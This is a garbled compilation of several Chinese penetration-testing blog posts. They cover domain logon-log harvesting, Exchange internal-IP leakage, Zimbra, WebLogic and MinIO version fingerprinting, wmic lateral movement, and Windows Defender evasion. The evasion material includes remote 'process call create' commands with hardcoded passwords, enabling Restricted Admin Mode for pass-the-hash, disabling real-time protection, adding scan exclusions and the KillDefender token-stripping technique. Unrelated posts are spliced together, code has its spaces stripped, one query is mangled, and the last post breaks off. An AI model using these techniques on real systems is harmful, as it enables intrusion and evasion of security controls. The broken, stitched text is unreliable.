0x04 小結本文介紹了遠程從lsass.exe進程導出憑據的思路,逐個介紹Lsassy使用的導出方法,分析技術細節。

0x00 前言在域滲透中,獲得了域控制器權限後,需要獲得域用戶的登錄信息,包括域用戶登錄的IP地址和登錄時間。通常使用的方法是查看域控制器的登錄日誌(Eventid=4624)。然而,人工從登錄日誌(Eventid=4624)中篩選出域用戶登錄的IP地址和登錄時間需要耗費大量時間,不僅無效數據多,而且需要多次判斷,所以我們需要編寫程序來實現這個功能。

在實際使用過程中,為了能夠適配多種環境,還需要支持本地和多種協議的遠程登錄。於是本文將要分享我的實現方法,開源兩個工具,記錄細節。

0x01 簡介本文將要介紹以下內容:

通過EventLogSession實現

通過WMI實現

開源代碼

0x02 通過EventLogSession實現通過查詢資料發現,通過EventLogSession不僅支持解析本地日誌內容,還支持通過RPC遠程解析日誌,下面介紹關於EventLogSession的開發細節

1.輸出Eventid=4624的日誌內容C Sharp實現代碼:

usingSystem;

usingSystem.Diagnostics.Eventing.Reader;

namespaceTest1

{

classProgram

{

staticvoidMain(string[]args)

{

varsession=newEventLogSession();

stringLogName='Security';

stringXPathQuery='*[System/EventID=4624]';

EventLogQueryeventLogQuery=newEventLogQuery(LogName,PathType.LogName,XPathQuery)

{

Session=session,

TolerateQueryErrors=true,

ReverseDirection=true

};

using(EventLogReadereventLogReader=newEventLogReader(eventLogQuery))

{

eventLogReader.Seek(System.IO.SeekOrigin.Begin,0);

do

{

EventRecordeventData=eventLogReader.ReadEvent();

if(eventData==null)

break;

Console.WriteLine(eventData.FormatDescription());

eventData.Dispose();

}while(true);

}

}

}

}以上代碼能夠查詢本地日誌並輸出日誌的完整內容

2.xml格式解析為了便於提取內容,可以選擇將輸出內容轉換為xml格式

關鍵代碼:

Console.WriteLine(eventData.ToXml());輸出內容示例:

image.png

從xml格式中,可直接提取出EventRecordID,關鍵代碼:

XmlDocumentxmldoc=newXmlDocument();

xmldoc.LoadXml(eventData.ToXml());

XmlNodeListrecordid=xmldoc.GetElementsByTagName('EventRecordID');

Console.WriteLine(recordid[0].InnerText);提取TargetUserName需要先取出Data的內容,再做一個篩選,關鍵代碼:

XmlNodeListdata=xmldoc.GetElementsByTagName('Data');

foreach(XmlNodevalueindata)

{

if(value.OuterXml.Contains('TargetUserName'))

{

Console.WriteLine(value.InnerText);

}

}這裡我們一共需要篩選出以下屬性:

TargetUserSid

TargetDomainName

TargetUserName

IpAddress

在做字符匹配時,由於格式固定,所以我們可以從固定偏移位置得到對應的屬性,避免多次判斷,提高查詢效率

關鍵代碼:

XmlNodeListdata=xmldoc.GetElementsByTagName('Data');

StringtargetUserSid=data[4].InnerText;

StringtargetDomainName=data[6].InnerText;

StringtargetUserName=data[5].InnerText;

StringipAddress=data[18].InnerText;3.篩選判斷條件為了篩選出有效登錄信息,這裡對targetUserSid和ipAddress的長度做了判斷,targetUserSid長度需要大於9,ipAddress長度需要大於8

關鍵代碼:

XmlNodeListdata=xmldoc.GetElementsByTagName('Data');

StringtargetUserSid=data[4].InnerText;

StringtargetDomainName=data[6].InnerText;

StringtargetUserName=data[5].InnerText;

StringipAddress=data[18].InnerText;

if(targetUserSid.Length9ipAddress.Length8)

{

Console.WriteLine(targetUserSid);

Console.WriteLine(targetDomainName);

Console.WriteLine(targetUserName);

Console.WriteLine(ipAddress);

}4.支持篩選指定時間內的日誌可以通過修改搜索條件實現,關鍵代碼:

stringXPathQuery='(Event/System/EventID=4624)andEvent/System/TimeCreated/@SystemTime='2022-01-26T02:30:39'andEvent/System/TimeCreated/@SystemTime='2022-01-26T02:30:39'andEvent/System/TimeCreated/@SystemTime=20210526ANDTimeGenerated=20210526ANDTimeGenerated=20220426';

ManagementScopes=newManagementScope('root\\CIMV2');

SelectQueryq=newSelectQuery(queryString);

ManagementObjectSearchermos=newManagementObjectSearcher(s,q);

intflagTotal=0;

intflagExist=0;

foreach(ManagementObjectoinmos.Get())

{

flagTotal++;

StringMessage=o.GetPropertyValue('Message').ToString();

intpos1=Message.LastIndexOf('SecurityID');

intpos2=Message.LastIndexOf('AccountName');

intpos3=Message.LastIndexOf('AccountDomain');

intpos4=Message.LastIndexOf('LogonID');

intpos5=Message.LastIndexOf('SourceNetworkAddress');

intpos6=Message.LastIndexOf('SourcePort');

intlength1=pos2-pos1-16;

intlength2=pos4-pos3-20;

intlength3=pos3-pos2-17;

intlength4=pos6-pos5-27;

if(length10||length20||length30||length40)

continue;

StringtargetUserSid=Message.Substring(pos1+14,length1);

StringtargetDomainName=Message.Substring(pos3+17,length2);

StringtargetUserName=Message.Substring(pos2+15,length3);

StringipAddress=Message.Substring(pos5+24,length4);

{

Console.WriteLine('[+]EventRecordID:'+o.GetPropertyValue('RecordNumber'));

Console.WriteLine('TimeCreated:'+o.GetPropertyValue('TimeGenerated'));

Console.WriteLine('UserSid:'+targetUserSid);

Console.WriteLine('DomainName:'+targetDomainName);

Console.WriteLine('UserName:'+targetUserName);

Console.WriteLine('IpAddress:'+ipAddress);

flagExist++;

}

}

Console.WriteLine('Total:'+flagTotal+',Exist:'+flagExist);

}

}

}5.支持遠程登錄關鍵代碼:

varopt=newConnectionOptions();

opt.Username='TEST\\Administrator';

opt.Password='Password@123';

ManagementScopes=newManagementScope('\\\\192.168.1.1\\root\\CIMV2',opt);將以上代碼整合,得出最終代碼,代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpGetUserLoginIPWMI.cs

代碼支持以下功能:

可使用csc.exe進行編譯,支持3.5和4.0

支持本地和遠程日誌解析,遠程日誌解析使用WMI方式

支持判斷條件,可篩選指定日期

自動提取信息:EventRecordID、TimeCreated、UserSid、DomainName、UserName和IpAddress

0x04 小結本文介紹了獲得域用戶登錄信息的實現細節,開源兩個工具SharpGetUserLoginIPRPC.cs和SharpGetUserLoginIPWMI.cs,在通信效率上,RPC要快於WMI。

0x00 前言在滲透測試中,為了蒐集信息,常常需要從外網獲得Exchange服務器的內網IP,公開資料顯示msf的auxiliary/scanner/http/owa_iis_internal_ip插件支持這個功能,但是這個插件公開於2012年,已不再適用於Exchange 2013、2016和2019,本文將要介紹一種更為通用的方法,開源代碼,記錄細節。

0x01 簡介本文將要介紹以下內容:

owa_iis_internal_ip插件介紹

更為通用的方法

Python開源代碼

0x02 owa_iis_internal_ip插件介紹msf的auxiliary/scanner/http/owa_iis_internal_ip插件支持探測Exchange服務器的內網IP,對應kali系統下的位置為:/usr/share/metasploit-framework/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb

github上的地址為:https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb

通過閱讀源碼,可以總結出實現原理:

設置HTTP協議為1.0並訪問特定URL

在返回數據中,如果狀態碼為401,在Header中的'WWW-Authenticate'會包含內網IP

在返回數據中,如果狀態碼位於300和310之間,在Header中的'Location'會包含內網IP

在提取IP時,使用正則表達式(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}),這裡存在bug:只能篩選出格式為'192.168.*.*'的內網IP

為了修復這個bug,可以將正則表達式修改為([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})

注:

修改插件後需要執行命令reload_all來重新加載msf插件

修復上面的bug後,我在測試Exchange 2013、2016和2019時仍然無法獲得準確的內網IP

0x03 更為通用的方法這裡給出一種基於owa_iis_internal_ip插件的方法,使用Python實現,適用範圍更廣

思路如下:

利用Python設置HTTP協議為1.0並訪問特定URL,在報錯結果中暴露出Exchange服務器的內網IP

需要細節如下:

(1)Python設置HTTP協議為1.0

Python2:

importrequests

importhttplib

httplib.HTTPConnection._http_vsn=10

httplib.HTTPConnection._http_vsn_str='HTTP/1.0'Python3:

importrequests

fromhttpimportclient

client.HTTPConnection._http_vsn=10

client.HTTPConnection._http_vsn_str='HTTP/1.0'(2)設置訪問URL

owa_iis_internal_ip插件中提到的URL:

urls=['/Microsoft-Server-ActiveSync/default.eas',

'/Microsoft-Server-ActiveSync',

'/Autodiscover/Autodiscover.xml',

'/Autodiscover',

'/Exchange',

'/Rpc',

'/EWS/Exchange.asmx',

'/EWS/Services.wsdl',

'/EWS',

'/ecp',

'/OAB',

'/OWA',

'/aspnet_client',

'/PowerShell']經過多個環境的測試,更為精確的URL如下:

urls=['/OWA',

'/Autodiscover',

'/Exchange',

'/ecp',

'/aspnet_client'](3)測試代碼

#python3

importrequests

importurllib3

urllib3.disable_warnings()

fromhttpimportclient

client.HTTPConnection._http_vsn=10

client.HTTPConnection._http_vsn_str='HTTP/1.0'

try:

url='https://mail.test.com/OWA'

response=requests.get(url,verify=False)

print(response.status_code)

print(response.text)

print(response.headers)

exceptExceptionase:

print(e)回顯結果:

HTTPSConnectionPool(host='192.168.1.1', port=443): Max retries exceeded with url:/owa/auth/logon.aspx?url=https://192.168.1.1/OWA/reason=0 (Caused by NewConnectionError('

從報錯信息中,我們可以看到Exchange服務器的IP,這裡只需要加一個正則表達式host='(.*?)',即可提取出來IP

0x04 開源代碼完整的實現代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetInternalIP.py

代碼支持5種方式探測內網IP

目前測試結果顯示,該腳本支持Exchange 2010、2013、2016和2019,能夠穩定獲得內網IP

0x05 小結本文分析了msf的auxiliary/scanner/http/owa_iis_internal_ip插件,對於獲得Exchange服務器的內網IP,給出了一個更為通用的方法,開源代碼,記錄細節。

0x00 前言在之前的文章《渗透基础——活动目录信息的获取2:Bypass AV》 介紹了使用csvde獲取活動目錄信息的方法,優點是Windows Server系統自帶,能夠導出csv格式便於查看。但是在Win7系統下,默認不支持這個命令。

本文將要介紹在Win7下運行csvde的方法,提高適用範圍。

0x01 簡介本文將要介紹以下內容:

背景知識

移植思路

實現方法

0x02 背景知識參考資料:

https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc772704(v=ws.10)?redirectedfrom=MSDN

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732101(v=ws.11)

1.csvde的依賴庫需要理清以下結構:

Windows Server 2003,默認支持csvde

Windows Server 2008及更高版本,需要開啟Active Directory Domain Services (AD DS)或Active Directory Lightweight Directory Services (AD LDS)服務器角色

Windows XP Professional,需要安裝Active Directory Application Mode (ADAM)

Windows 7及更高版本,需要安裝Remote Server Administration Tools (RSAT)

2.安裝Remote Server Administration Tools (RSAT)Remote Server Administration Tools for Windows 7:微軟已經不再提供下載

Remote Server Administration Tools for Windows 8下載地址:https://www.microsoft.com/en-us/download/details.aspx?id=28972

Remote Server Administration Tools for Windows 10下載地址:https://www.microsoft.com/en-us/download/details.aspx?id=45520

3.Win7安裝Remote Server Administration Tools (RSAT)(1) 下載安裝KB958830

微軟已經不再提供手動下載,可選擇安裝Win7自動更新補丁

(2) 安裝功能

打開控制面板,選擇Turn Windows features on or off

在Windows Features界面中能夠找到Remote Server Administration Tools,如下圖

為了能夠支持csvde,需要安裝AD DS Snap-ins and Command-line Tools,路徑如下:

Remote Server Administration Tools - Role Administration Tools - AD DS and AD LDS Tools - AD DS Tools - AD DS Snap-ins and Command-line Tools,如下圖

c743eccc12b83c8be5c2abd90f9c343.png

安裝成功後,當前Win7系統支持csvde命令

0x03 移植思路csvde默認安裝路徑為c:\windows\system32,可以使用Process Monitor監控csvde的啟動過程,定位csvde需要的依賴文件,如下圖

a332df9947889fe181722a174fa9b3e.png

從圖中可以看出,csvde啟動時需要依賴文件C:\Windows\System32\en-US\csvde.exe.mui

經過一段時間的測試,最終得出以下移植思路:

複製文件C:\Windows\System32\csvde.exe

複製文件C:\Windows\System32\en-US\csvde.exe.mui

0x04 實現方法我們知道,在C:\Windows\System32\下創建文件需要管理員權限,為了能夠在普通用戶權限下進行移植,這裡可以採取相對路徑的方法實現:

複製csvde.exe至任意普通用戶權限可訪問的路徑

在同級目錄創建文件夾en-US,複製csvde.exe.mui

為了便於測試,我將自己測試系統的csvde已上傳至github,地址如下:

https://github.com/3gstudent/test/blob/master/csvde.zip

0x05 小結本文介紹了在Win7下運行csvde的方法,提高適用範圍,可按照同樣的方法,分別實現在Win8和Win10下運行。

0x00 前言本文將要介紹Zimbra版本探測的多種方法,通過Python實現自動化,記錄開發細節,開源代碼。

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

開源代碼

0x02 實現思路查看Zimbra版本的方法有很多,各有優缺點,具體方法如下:

1.通過Web管理頁面通過瀏覽器訪問7071管理頁面,在主頁面會顯示當前Zimbra版本

例如我的測試環境顯示為:

Zimbra Version: 9.0.0_GA_4273.NETWORK

通過該方法獲得的版本為準確版本

2.通過執行命令微信截图_20230303155211.png

2.png

注:

Zimbra補丁更新可參考:

https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/patch_installation

3.通過Zimbra SOAP API默認配置下,zimbraSoapExposeVersion屬性為FLASE,查詢命令:

微信截图_20230303155456.png返回結果:

3.png需要將zimbraSoapExposeVersion屬性設置為TRUE後,可以通過Zimbra SOAP API獲得版本,修改屬性的命令為:

4.png發送的SOAP格式示例:

5.png默認配置下的返回結果:

6.png

4.通過imap協議7.png

5.通過imap over ssl協議8.png

6.通過特定url 9.png

0x03 實現細節綜合以上探測方法,為了適應多種環境,在程序實現上選取了通過imap協議、通過imap over ssl協議和通過特定url三種方法實現

1.通過imap協議完整示例代碼:

10.png 11.png

2.通過imap over ssl協議需要將ip轉為hostname作為參數,示例代碼:

12.png

完整示例代碼:

13.png 14.png

存在部分環境無法將ip轉為hostname,導致報錯:[Errno 11004] host not found,所以在程序判斷邏輯上優先使用imap協議

3.通過特定url完整示例代碼:

15.png 16.png

0x04 開源代碼完整的實現代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_GetVersion.py

代碼首先嘗試通過特定url獲得版本信息,再通過imap協議讀取版本信息,如果失敗,最後通過imap over ssl協議讀取版本信息

0x05 小結本文介紹了Zimbra版本探測的多種方法,比較優缺點,選取有效的方法並通過Python實現自動化,記錄開發細節,開源代碼,作為一個很好的學習示例。

0x00 前言WMI(Windows Management Instrumentation)是一種管理功能,提供了一個統一的環境來訪問Windows系統組件,支持本地和遠程訪問。在之前的文章《WMI Attacks》 、《WMI Backdoor》 、《WMI Defense》 和《Study Notes of WMI Persistence using wmic.exe》 介紹過相關內容,本文將要在信息收集和橫向移動的角度,分析wmic的常用方法,結合利用思路,給出防禦建議。

0x01 簡介本文將要介紹以下內容:

wbemtest用法

通過wmic查詢主機信息

通過wmic修改註冊表

通過wmic執行程序

本地和遠程訪問WMI服務

0x02 wbemtest用法參考資料:

https://docs.microsoft.com/en-us/mem/configmgr/develop/core/understand/introduction-to-wbemtest

Windows系統默認安裝,可以用於連接WMI命名空間,訪問WMI服務

借助wbemtest,我們可以獲得WMI完整的功能細節和使用方法

界面如下圖

173584b19168096ba15863a0e9c14b9.png

點擊Connect.輸入WMI命名空間root\cimv2,連接到root\cimv2後,可進入主頁面,如下圖

常用功能示例如下:

(1)Enum Classes…

枚舉類,可以用來枚舉所有的對象,查詢每個類的定義

這里以查詢Win32_Process對象為例:

依次選中Enum Classes. - Recursive - OK,選中Win32_Process,雙擊進入對象編輯器,如下圖

Properities欄可以查看屬性,例如這裡有Handle,可以通過後文的Query.進行查詢

Methods欄可以查看方法,例如這裡有Create,可以通過後文的Execute Method.進行調用

(2)Query…

查詢屬性,需要輸入WMI Query Language (WQL)

參考資料:

https://docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi

語法示例:

SELECTHandleFROMWin32_Process查詢結果如下圖

這條查詢語句換成wmic的命令如下:

wmic/namespace:'\\root\cimv2'PATHWin32_ProcessgetHandle(3)Execute Method…

調用方法,這里以調用Win32_Process對象的Create方法為例

設置Object Path為Win32_Process,點擊OK

在彈出的界面設置設置Method為Create

點擊Edit in Parameters.在彈出的界面中依次選擇CommandLine - Edit Property

設置Valve為calc,如下圖

點擊Save Object - Execute!彈出計算器

以上操作換成wmic的完整命令如下:

wmic/namespace:'\\root\cimv2'PATHWin32_Processcallcreate'calc'簡寫命令如下:

wmicprocesscallcreate'calc'0x03 本地和遠程訪問WMI服務1.查詢主機名稱本地:

wmic/namespace:'\\root\cimv2'PATHWin32_ComputerSystemgetName遠程:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'PATHWin32_ComputerSystemgetName2.註冊表操作具體細節可參考《Study Notes of WMI Persistence using wmic.exe》

這裡列出幾個常用命令:

(1)獲得當前用戶的遠程桌面連接歷史記錄

枚舉註冊表鍵值HKCU:\Software\Microsoft\Terminal Server Client\Servers,命令如下:

wmic/namespace:'\\root\cimv2'pathstdregprovcallEnumKey^h80000001,'Software\Microsoft\TerminalServerClient\Servers'(2)遠程查詢和修改Restricted Admin Mode

關於Restricted Admin Mode的內容可參考《渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)》

遠程查詢和修改Restricted Admin Mode的C Sharp實現可參考:

https://github.com/GhostPack/RestrictedAdmin

https://github.com/airzero24/WMIReg

遠程查詢Restricted Admin Mode的wmic命令如下:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'pathstdregprovcallGetDWORDValue^H80000002,'System\CurrentControlSet\Control\Lsa','DisableRestrictedAdmin'遠程開啟Restricted Admin Mode的wmic命令如下:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'pathstdregprovcallSetDWORDValue^H80000002,'System\CurrentControlSet\Control\Lsa','DisableRestrictedAdmin','0'遠程關閉Restricted Admin Mode的wmic命令如下:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'pathstdregprovcallSetDWORDValue^H80000002,'System\CurrentControlSet\Control\Lsa','DisableRestrictedAdmin','1'3.執行程序本地:

wmicprocesscallcreate'calc'遠程:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'processcallcreate'calc'4.進程操作查詢本地所有進程:

wmic/namespace:'\\root\cimv2'PATHWin32_Processgetname,processid,commandline/FORMAT:list查詢遠程主機所有進程:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'PATHWin32_Processgetname,processid,commandline/FORMAT:list其他用法還可參考:https://docs.microsoft.com/en-us/archive/blogs/jhoward/wmic-samples

0x04 防禦檢測需要注意的是,默認配置下WMI的日誌記錄很少,無法記錄WMI的命令細節

WMI-Activity的Trace日誌能夠記錄簡單的日誌,但也無法記錄WMI的命令細節,開啟方法如下:

打開Event Viewer,選擇View - Show Analytic and Debug Logs

依次選擇Applications and Services Logs - Microsoft - Windows - WMI-Activity - Trace,點擊Enable Log

使用wmic命令時,默認啟動進程c:\windows\system32\wbem\wmic.exe,這裡可以選擇Sysmon記錄進程創建的細節,查看CommandLine獲得WMI的命令細節

詳細日誌細節可參考:https://jpcertcc.github.io/ToolAnalysisResultSheet/details/wmic.htm

也可以選擇開源的數字取證工具Velociraptor,能夠記錄進程創建的細節,包括CommandLine

0x05 小結本文介紹了wmic的相關基礎知識,結合利用思路,給出防禦建議。

0x00 前言Windows Defender是一款內置在Windows操作系統的殺毒軟件程序,本文僅在技術研究的角度介紹Windows Defender相關的滲透方法,分析利用思路,給出防禦建議。

0x01 簡介本文將要介紹以下內容:

查看Windows Defender版本

查看已存在的查殺排除列表

關閉Windows Defender的Real-time protection

添加查殺排除列表

移除Token導致Windows Defender失效

恢復被隔離的文件

0x02 查看Windows Defender版本1.通過面板查看依次選擇Windows Security-Settings-About,Antimalware Client Verions為Windows Defender版本,如下圖

12a2682d5d5579d327fc0280bbb5a3b.png

2.通過命令行查看image.png

數字大的為最新版本

0x03 查看已存在的查殺排除列表1.通過面板查看依次選擇Windows Security-Virus theat protection settings-Add or remove exclusions,如下圖

4430e255f99a377325b7659b48941fb.png

2.通過命令行查看image.png

3.通過Powershell查看image.png

0x04 關閉Windows Defender的Real-time protection1.通過面板關閉依次選擇Windows Security-Virus theat protection settings,關閉Real-time protection

2.通過命令行關閉利用條件:

需要TrustedInstaller權限

需要關閉Tamper Protection

image.png

注:

運行成功時,桌面右下角會彈框提示Windows Defender已關閉

補充1:開啟Windows Defender的Real-time protection

利用條件:

需要TrustedInstaller權限

需要關閉Tamper Protection

image.png

補充2:獲得TrustedInstaller權限

可參考之前的文章《渗透技巧——Token窃取与利用》

也可以藉助AdvancedRun,命令示例:

image.png

補充3:Tamper Protection

參考資料:

https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide

當開啟Tamper Protection時,用戶將無法通過註冊表、Powershell和組策略修改Windows Defender的配置

開啟Tamper Protection的方法:

依次選擇Windows Security-Virus theat protection settings,啟用Tamper Protection

該操作對應的cmd命令:reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features' /v 'TamperProtection' /d 5 /t REG_DWORD /f

關閉Tamper Protection的方法:

依次選擇Windows Security-Virus theat protection settings,禁用Tamper Protection

該操作對應的cmd命令:reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features' /v 'TamperProtection' /d 4 /t REG_DWORD /f,當然,我們無法通過修改註冊表的方式去設置Tamper Protection,只能通過面板進行修改

查看Tamper Protection的狀態:

image.png

返回結果中的數值5代表開啟,數值4代表關閉

補充4:通過Powershell關閉Windows Defender的Real-time protection

image.png

注:新版本的Windows已經不再適用

補充5:通過組策略關閉Windows Defender的Real-time protection

依次打開gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Microsoft Defender Antivirus-Real-time Protection,選擇Turn off real-time protection,配置成Enable

注:新版本的Windows已經不再適用

0x05 添加查殺排除列表1.通過面板添加依次選擇Windows Security-Virus theat protection settings-Add or remove exclusions,選擇Add an exclusion,指定類型

該操作等價於修改註冊表HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\的鍵值,具體位置如下:

類型File對應註冊表項Paths

類型Folder對應註冊表項Paths

類型File type對應註冊表項Extensions

類型Process對應註冊表項Processes

2.通過命令行添加利用條件:

需要TrustedInstaller權限

cmd命令示例:

image.png

3.通過Powershell添加利用條件:

需要管理員權限

參考資料:

https://docs.microsoft.com/en-us/powershell/module/defender/add-mppreference?view=windowsserver2022-ps

Powershell命令示例:

image.png

補充:刪除排除列表

image.png

0x06 移除Token導致Windows Defender失效學習地址:

https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/

簡單理解:

●Windows Defender進程為MsMpEng.exe

●MsMpEng.exe是一個受保護的進程(Protected Process Light,簡寫為PPL)

●非PPL進程無法獲取PPL進程的句柄,導致我們無法直接結束PPL進程MsMpEng.exe

●但是我們能夠以SYSTEM權限運行的線程修改進程MsMpEng.exe的token

●當我們移除進程MsMpEng.exe的所有token後,進程MsMpEng.exe無法訪問其他進程的資源,也就無法檢測其他進程是否有害,最終導致Windows Defender失效

POC地址:https://github.com/pwn1sher/KillDefender

利用條件:

●需要System權限

測試如下圖

d59589e1e6bda303f4706e5f0ca3e56.png

0x07 恢復被隔離的文件參考資料:

https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide

1.定位MpCmdRun image.png

得到

MpCmdRun的位置為:C:\ProgramData\Microsoft\Windows Defender\Platform\

2.常用命令查看被隔離的文件列表:

image.png

恢復指定名稱的文件至原目錄:

image.png

恢復所有文件至原目錄:

image.png

查看指定路徑是否位於排除列表中:

image.png

0x08 防禦建議阻止通過命令行關閉Windows Defender:開啟Tamper Protection

阻止通過移除Token導致Windows Defender失效:阻止非PPL進程修改PPL進程MsMpEng.exe的token,工具可參考:https://github.com/elastic/PPLGuard

0x09 小結本文在僅在技術研究的角度介紹Windows Defender相關的滲透方法,分析利用思路,給出防禦建議。對於移除Token導致Windows Defender失效的利用方法,可能會在未來版本的Windows中默認解決這個問題。

0x00 前言本文將要介紹WebLogic版本探測的兩種方法,通過Python實現自動化,記錄開發細節,開源代碼。

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

開源代碼

0x02 實現思路探測WebLogic版本的方法有以下兩種:

1.通過Web頁面WebLogic Admin Console默認配置下的URL:http://

在返回結果中能夠獲得WebLogic的版本

這裡需要注意以下問題:

(1)需要區別早期版本

早期版本的返回結果示例:

目前常用版本的返回結果示例:

WebLogic Server Version: 14.1.1.0.0

(2)WebLogic Admin Console對應的路徑和端口可被修改

WebLogic Admin Console可被關閉,也可修改URL,修改方法有以下兩種:

通過瀏覽器訪問WebLogic Admin Console,在Configuration-General-Advanced設置,如下圖

下载.png通過配置文件設置,默認路徑:Oracle_Home\user_projects\domains\base_domain\config\config.xml,內容如下:

微信截图_20230303173426.png

(3)關閉WebLogic Admin Console的情況

如果關閉了WebLogic Admin Console,訪問URL:http://

2.通過T3協議可以使用nmap的腳本weblogic-t3-info.nse,命令示例:

1.png

返回結果示例:

2.png

在原理上是通過建立socket連接,在返回結果中獲得WebLogic的版本

這裡需要注意以下問題:

(1)需要區別早期版本

早期版本的返回結果示例:t3 10.3.6.0\nAS:2048\nHL:19\n\n

目前常用版本的返回結果示例:HELO:12.2.1.3.0.false\nAS:2048\nHL:19\nMS:10000000\nPN:DOMAIN\n\n

(2)存在需要多次發送的情況

存在特殊情況,返回內容為HELO,此時需要重新發送直到返回完整的版本信息

(3)T3協議可被關閉

關閉方法有以下兩種:

通過瀏覽器訪問WebLogic Admin Console,在Security-Filter設置,配置如下:

Connection Filter設置為weblogic.security.net.ConnectionFilterImpl

Connection Filter Rules設置為:

3.png如下圖

下载 (1).png通通過配置文件設置,默認路徑:Oracle_Home\user_projects\domains\base_domain\config\config.xml,內容如下:

4.png

0x03 實現細節綜合以上探測方法,為了適應多種環境,在程序實現上選取了通過HTTP協議和T3協議兩種方法實現

1.通過HTTP協議選擇默認配置下的URL:http://

需要注意以下問題:

(1)第一次訪問時存在一次跳轉

首次啟動WebLogic時,在訪問默認配置下的URL:http://

在返回內容中以字符串Deploying application作為判斷依據

(2)需要區別早期版本

早期版本的返回結果示例:

目前常用版本的返回結果示例:

WebLogic Server Version: 14.1.1.0.0

在腳本實現上優先判斷常用版本,使用正則匹配,如果失敗,再從固定格式

5.png

(3)關閉WebLogic Admin Console的識別

如果關閉了WebLogic Admin Console,訪問URL:http://

完整示例代碼如下:

6.png 7.png

2.通過T3協議發送的socket數據內容為:t3 12.1.2\nAS:2048\nHL:19\n\n

需要注意以下問題:

(1)需要區別早期版本

早期版本的返回結果示例:t3 10.3.6.0\nAS:2048\nHL:19\n\n

目前常用版本的返回結果示例:HELO:12.2.1.3.0.false\nAS:2048\nHL:19\nMS:10000000\nPN:DOMAIN\n\n

為了提高準確性,這裡使用正則提取版本信息,示例代碼:

8.png

(2)存在需要多次發送的情況

存在特殊情況,返回內容為HELO,此時需要重新發送直到返回正確的版本信息

在重新發送的過程中,應關閉整個socket連接,重新初始化發送數據

(3)T3協議可被關閉

如果關閉了T3協議,返回內容示例:

9.png完整示例代碼如下:

10.png 11.png

0x04 開源代碼完整的實現代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/WebLogic_GetVersion.py

代碼使用HTTP協議和T3協議探測版本信息

0x05 小結本文介紹了WebLogic版本探測的兩種方法,比較優缺點,選取有效的方法並通過Python實現自動化,記錄開發細節,開源代碼,作為一個很好的學習示例。

0x00 前言本文將要介紹Minio版本探測的方法,通過Python實現自動化,記錄開發細節,開源代碼。

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

開源代碼

0x02 基礎知識MinIO是一款基於Go語言發開的高性能、分佈式的對象存儲系統。 Minio可以做為雲存儲的解決方案用來保存海量的圖片,視頻,文檔。由於採用Go語言實現,服務端可以工作在Windows,Linux, OS X 和FreeBSD上,並且只需要單獨的可執行程序就可以運行。

在Windows上的環境搭建可參考:https://min.io/docs/minio/windows/index.html

1.下載最新版本:https://dl.min.io/server/minio/release/windows-amd64/minio.exe

歷史版本:https://dl.min.io/server/minio/release/windows-amd64/archive/

歷史版本在下載後將文件後綴名添加.exe,運行即可

2.啟動服務命令行參數:minio.exe server C:\minio --console-address :9090

3.Web訪問URL地址:http://127.0.0.1:9090

默認用戶名:minioadmin

默認口令:minioadmin

0x03 實現思路Minio的版本探測需要登錄到Web後台

訪問位置:Health頁面,如下圖

下载.png

從頁面中可以看到當前版本以及節點和存儲的信息

在程序實現上,我們可以通過抓包的方式分析認證過程,具體內容如下:

1.登錄訪問地址:http://127.0.0.1:9090/api/v1/login

通過json格式傳入認證信息,具體內容如下:

微信截图_20230404144856.png

登錄成功後返回狀態碼204,在Header中添加Cookie: token=xxxx作為憑據

2.讀取版本信息訪問地址:http://127.0.0.1:9090/api/v1/admin/info

需要帶有Cookie: token=xxxx作為憑據

返回結果為json格式,如下圖

下载 (1).png

補充:獲得Minio的最新版本訪問地址:http://127.0.0.1:9090/api/v1/check-version

0x04 實現細節1.登錄這裡需要考慮一個問題:默認端口被修改的情況

在用程序實現自動化時,通常會使用端口9000,但存在端口被修改為9001的情況,也存在很少一部分將端口修改為其他不常見的端口

如果端口錯誤,會返回狀態碼400,返回內容示例:

1.png

所以在程序實現上這裡可以添加一個判斷:當使用默認端口9000時,如果返回特定條件,提示端口錯誤,接下來嘗試端口9001,如果再次失敗,提示修改默認端口

完整示例代碼:

2.png 3.png

2.讀取版本信息返回結果為json格式,結果示例:

